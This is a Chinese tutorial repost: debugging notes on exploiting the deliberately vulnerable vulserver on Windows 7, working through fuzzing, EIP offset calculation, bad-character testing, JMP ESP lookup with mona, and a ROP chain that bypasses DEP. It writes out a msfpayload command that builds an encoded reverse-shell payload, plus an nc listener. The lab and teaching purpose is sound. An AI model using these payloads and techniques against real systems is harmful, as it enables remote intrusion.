利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 –

  • A+
所属分类:WooYun-Drops

http://drops.wooyun.org/papers/3602

0x00 背景


本文根据参考文献《Defeating DEP with ROP》,调试vulserver,研究ROP (Return Oriented Programming)基本利用过程,并利用ROP绕过DEP (Data Execution Prevention),执行代码。 0x00 ROP概述 缓冲区溢出的目的是为了控制EIP,从而执行攻击者构造的代码流程。

防御缓冲区溢出攻击的一种措施是,选择将数据内存段标记为不可执行,

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

随着攻击技术的演进,产生了ROP (Return-Oriented Programming),Wiki上中文翻译为“返回导向编程”。下面的结构图回顾了Buffer overflow的发展历史和ROP的演进历史,不同的颜色表示了不同的研究内容,分为表示时间杂项标记、社区研究工作、学术研究工作,相关信息大家可以在网上查找。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

由于DEP的存在,为了执行代码重用攻击,攻击者构造ROP Chain,通过寻找小部件(Gadget),将复杂操作转化为小操作,然后执行有用操作的短指令序列。例如,一个Gadget可能是让两个寄存器相加,或者从内存向寄存器传递字节。攻击者可以将这些Gadget链接起来从而执行任意功能。

链接Gadget的一种方式是寻找以RET结尾的指令序列。RET指令等效于POP+JUMP,它将当前栈顶指针ESP指向的值弹出,然后跳转到那个值所代表的地址,继续执行指令,攻击者通过控制ESP指向的值和跳转,达到间接控制EIP的目的,在ROP利用方法下ESP相当于EIP。如果攻击者可以控制栈空间布局,那么他就可以用RET控制跳转,从而达到间接控制EIP的目的。

下面举一个简单例子,说明ROP构造Gadget过程,栈空间形式化表示如下:

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

Gadget构造过程描述:

  • 假设攻击者打算将V1值写入V2所指向的内存空间,即Memory[V2] = V1;

  • 攻击者控制了栈空间,能够构造栈空间布局;

  • 攻击者采用间接方式,寻找等效指令实现,通过寻找Gadget指令实现;

  • 攻击者找到Gadget,pop eax; ret。pop eax会将当前栈顶指针ESP所指向的内容V1存入寄存器EAX中。ESP值加4,指向新地址ESP=[ESP+4]。RET指令会将ESP新指向的内容a3存入寄存器EIP中,然后CPU会跳转到值a3所指向的地址执行。因此RET指令能够根据栈空间上的值,控制程序的跳转地址

  • 类似的pop ebp; ret 能够为ebp赋值,并让程序跳转到所指向的地址;

  • 攻击者如果继续使用gadget,mov ebp,eax; ret,这将eax中的值移动到ebp所指向的地址中;

  • 通过构造栈空间内容,让CPU按顺序执行上述Gadget,攻击者能够控制eax和ebp的值,并让eax的值写入地址ebp中。

  • 借助Gadget,通过等效变换,攻击者可以向任意内存写入。

Gadget执行过程描述:

1) 初始时,栈顶指针为ESP,所指向内容为V1,EIP=a1。

2) POP操作,ESP值加4,POP相当于内存传送指令。

3) POP和MOV指令执行完,CPU会继续向下顺序执行。

4) RET相当于POP+JMP,所以RET操作,ESP值也会加4。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

ROP利用Gadget图形示意:

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

0x01 调试环境和工具


利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

0x02 DEP默认设置,测试反弹shell


查询DEP的状态

根据微软官方说明:http://support.microsoft.com/kb/912923/zh-cn

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

运行命令:

wmic OS Get DataExecutionPrevention_SupportPolicy

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

状态码为2,说明是默认配置。

另外,实验中,需要关闭Window 7防火墙。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

查询运行vulserver的Windows 7系统IP地址:192.168.175.130。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

启动存在漏洞的服务器。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

服务器连接测试

攻击端远程连接 nc 192.168.175.130:9999,测试服务器连接状态。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

查看服务器端网络状态

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

生成测试脚本

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

在 Kali Linux上生成测试脚本,文本编辑nano vs-fuzz1 ,权限修改 chmod a+x vs-fuzz1, 执行脚本 ./vs-fuzz1

测试vulserver缓冲区大小

测试TRUN命令,测试接受字符大小,查看vulserver服务器崩溃情况。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

不断调整字符长度,从100到2000,大小为2000时程序崩溃。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

备注:由于实验环境在其他测试中,设置了默认调试器,当vulserver服务崩溃后,Windbg直接跳出,捕获异常。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

修改默认调试器设置注册表,If Auto is set to 0, a message box is displayed prior to postmortem debugging

在32位Windows 7系统下,注册表在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AeDebug。 键值Debugger为windbg。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

在64位Windows Server2008系统下,注册表HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

将Auto值设置为0后,重新打开vulserver.exe,Kali端重新发送数据,可以看到系统弹出了崩溃对话框。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

打开调试器,附加进程

为了进一步测试,程序崩溃情况,打开Immunity Debugger调试器,附加进程。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

附加调试器后,重新发送数据包,选择发送字符长度3000,在调试器左边窗口的下部,可以看到 "Access violation when writing to [41414141] "。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

"41" 是字符A的十六进制表现,具体对应表如下图。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

这说明发送的“A”字符以某种方式由服务器程序错误地作为地址写入。由于地址是32位,也就是4个字节,而“A”的十六进制表示为41,所以地址变成了41414141

这是一个典型的缓冲区溢出攻击,当一个子例程返回时,注入的字符41414141被放入EIP中,所以它成为下一条将要执行的指令地址。 但41414141是不是一个有效的地址,无法继续执行,所以调试器检测到程序崩溃并暂停,所以显示了Access violation。

从调试结果而言,程序存在溢出,存在可以被利用的漏洞。

开发漏洞利用程序的一种通常方式是,攻击字符长度固定,从而产生不同结果。本实验后续都使用字符长度3000来进行调试。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

生成非重复模式的字符

为了精确表示哪些字符注入到EIP中,需要生成非重复的字符,具体代码如下。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

在Kali Terminal 中输入命令,chmod a+x vs-eip0,使程序可执行。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

执行脚本 ./vs-eip0,可以看到生成的模式 (pattern)都是3个数字加一个A。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

如果形象化展示,中间添加空格,该模式是这样的:

000A 001A 002A 003A 004A 
             ...
250A 251A 252A 253A 254A 
             ...
495A 496A 497A 498A 499A

我们得到500组,每组4个字符,从000A 到 499A,总共2000个字节。

添加生成的字符,重新生成具有区分度的测试脚本如下。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

再次执行。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

通过调试器,可以发现"Access violation when executing [35324131]"。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

下面将十六进制转为字符表示:

Hex  Character
---  ---------
 35      5
 32      2
 41      A
 31      1

因此,字符是“52A1”。然而,由于英特尔处理器是“小端字节序”,所以地址被反序输入,所以输入到EIP中的实际字符是“1A25”。

我们输入的字符串在内存中的表示如下所示:

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

则不用借助于类似pattern_offset.rb之类的ruby脚本,可以从图形上快速计算出偏移值,251个四字节+2个字节。

模式'1A25'出现在251×4+2=1004+2=1006个字节之后

由于程序是在接收了2000字符之后崩溃,所以测试脚本在非重复模式之前添加了1000个A字符,则EIP包含4个字节是在2006字节之后。

控制EIP指向地址

在2006字节之后添加BCDE,使程序溢出后,EIP被覆盖为BCDE,后面继续填充许多F,以管理员模式运行Immunity Debugger和测试脚本。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

调试器捕获异常,"Access violation when executing [45444342]",说明成功了,因为十六进制值是反序显示“BCDE”。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

查看内存中ESP的值

当子例程返回后,我们来看一下ESP所指向的值。溢出之后,在ESP所指向的空间(01C1F9E0)写入了许多FFFF。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

测试坏字符

漏洞利用程序通过欺骗程序,插入代码到数据结构。

通常而言,以下这些字符会带来麻烦:

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

并不是上述所有字符会带来麻烦,也有可能存在其他坏字符。所以,接下来的任务是设法注入它们,看看会发生什么。

为了进一步测试坏字符,程序会向服务器发送一个3000字节,其中包括2006个“A”字符,随后是“BCDE”,程序返回结束后,它应该在EIP中,然后是所有256个可能的字符,最后是足够的“'F”字符,使得总长度为3000个字节。执行过程如下所示。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

查看调试器左下侧窗口。第一个字节是00,但其它字符没有注入到内存中,既不是其他255个字节,也不是“F”字符。说明发生了00字节结束的字符串。 只有'\ X00'是坏字符。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

查找合适的模块

已经控制了EIP,现在需要让它指向我们希望的地址,我们需要在ESP所执行的位置执行代码。

能起作用的两个最简单指令是“JMP ESP”和两个指令序列“PUSH ESP; RET”。

为了找到这些指令,我们需要检查Vulnerable Server运行时载入的模块。

下面利用Immunity Debugger插件 mona.py,下载后将mona.py放置在程序安装目录C: \Immunity Inc\Immunity Debugger\PyCommands中。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

运行服务器程序,在调试器命令输入窗口中运行

#!bash
!mona modules

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

由于Windows 7引入了ASLR,它导致模块的地址在每次启动之后都会发生变化。改变它每次重新启动时模块的地址。

为了得到可靠的漏洞利用程序,我们需要一个模块不带有ASLR和Rebase。

从下图中可以发现,有两个模块Rebase 和 ASLR 列都显示为"False",它们是essfunc.dll和vulnserver.exe。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

然而,由于 vulnserver.exe加载在非常低的地址值,开始于0x00,因此,任何引用该地址的vulnserver.exe将会获得一个空字节,而由于'\X00'是坏字符,所以它将不起作用而不能使用,因此,唯一可用的模块是essfunc.dll。 12 测试跳转指令 利用metasploit中的nasm_shell,可以显示"JMP ESP"和"POP ESP; RET"指令的汇编表示,分别是FFE4和5CC3。

如果我们能在essfunc.dll中找到这些字符序列,那么我们就能用它们开发漏洞利用程序。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

在调试器中使用如下命令:

!mona find -s "\xff\xe4" -m essfunc.dll

共发现9个,我们使用第一个地址625011af

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

生成反弹shell代码

查询攻击端IP地址,作为受害端反向连接的IP。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

指定IP、端口、编码器x86/shikata_ga_nai生成shellcode。

msfpayload windows/shell_reverse_tcp LHOST="192.168.175.142" LPORT=443 EXITFUNC=thread R | msfencode -e x86/shikata_ga_nai -b '\x00'

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

生成完整测试代码。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

运行nc -nlvp 443,监听443端口。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

运行vulserver,攻击端执行测试脚本 ./vs-shell,发送数据。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

攻击端获得反弹shell,可以查询信息。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

测试栈空间代码执行情况

在基本DEP开启条件下,测试漏洞代码在内存空间上的可执行情况。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

NOP滑行区有许多“90”,最后跟着的是“CC”,说明可以向内存中注入并执行代码,代码为可执行状态。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

0x03 DEP全部开启,测试反弹shell


DEP全部开启

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

再次运行JMP ESP

在DEP全部开启的状态下,再次运行./vs-rop1,调试器显示"Access violation"。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

我们不能在栈空间上执行任何代码,甚至NOP也不行,无法单步执行。DEP是一个强大的安全功能,阻挡了许多攻击。下面通过ROP来绕过DEP。

理论上来说,我们可以用ROP构造出整个Metasploit载荷,例如,反向连接(reverse shell),但那需要花费大量的时间。在实际应用中,我们只需要用ROP关闭DEP即可,这是一个简单而优雅的解决方案。

为了关闭DEP,或在DEP关闭后分配内存空间,可以使用的函数有:VirtuAlloc(), HeapCreate(), SetProcessDEPPolicy(), NtSetInformationProcess(), VirtualProtect(), or WriteProtectMemory()。

拼凑“Gadgets”(机器语言代码块)是一个相当复杂的过程,但是, MONA的作者已经为我们完成了这项艰难的工作。

!mona rop -m *.dll -cp nonull

MONA会搜寻所有的DLL,用于构造有用的Gadgets链,可以想象,这是一个花费时间的工作。

生成ROP Chain

使用mona,我在开了2G内存的虚拟机中,运行消耗了 0:08:39。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

mona生成的rop_chains.txt,Python代码部分。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

测试ROP Chain

通过ROP构造测试代码,再次运行,NOP滑行区有许多“90”,最后跟着的是“CC”,说明ROP链关闭了DEP,向栈上注入的代码可以被执行了,注入的代码是16个NOP和一个中断指令INT 3。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

如果我们单步执行,EIP能够继续往下执行,而不会产生访问违例(Access violation)。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP反弹shell

将ROP代码加入,添加反弹shell的代码,修改生成测试脚本,开启nc -nlvp 443,启动服务端程序,执行程序vs-rop3。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

开启nc监听端口443,获得反弹shell,在攻击端查看Window 7系统上DEP状态,DataExecutionPrevention_SupportPolicy状态码为3,即所有进程都开启DEP情况下,利用ROP溢出成功。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

反弹连接成功后,在服务端,查看连接状态信息。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

使用TCPView查看,443端口是https连接。

利用ROP绕过DEP(Defeating DEP with ROP)调试笔记 -

0x04 参考文献


1) https://samsclass.info/127/proj/vuln-server.htm

2) https://samsclass.info/127/proj/rop.htm

3) http://www.thegreycorner.com/2010/12/introducing-vulnserver.html

4) http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-%E2%80%94-introduction/

5) http://en.wikipedia.org/wiki/Return-oriented_programming

6) http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/

7) https://users.ece.cmu.edu/~dbrumley/courses/18487-f13/powerpoint/06-ROP.pptx

8) http://www.slideshare.net/saumilshah/dive-into-rop-a-quick-introduction-to-return-oriented-programming

9) http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html

10) http://blog.harmonysecurity.com/2010/04/little-return-oriented-exploitation-on.html

11) http://jbremer.org/mona-101-a-global-samsung-dll/

12) https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/

13) http://www.fuzzysecurity.com/tutorials/expDev/7.html

14) http://hardsec.net/dep-bypass-mini-httpd-server-1-2/?lang=en

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: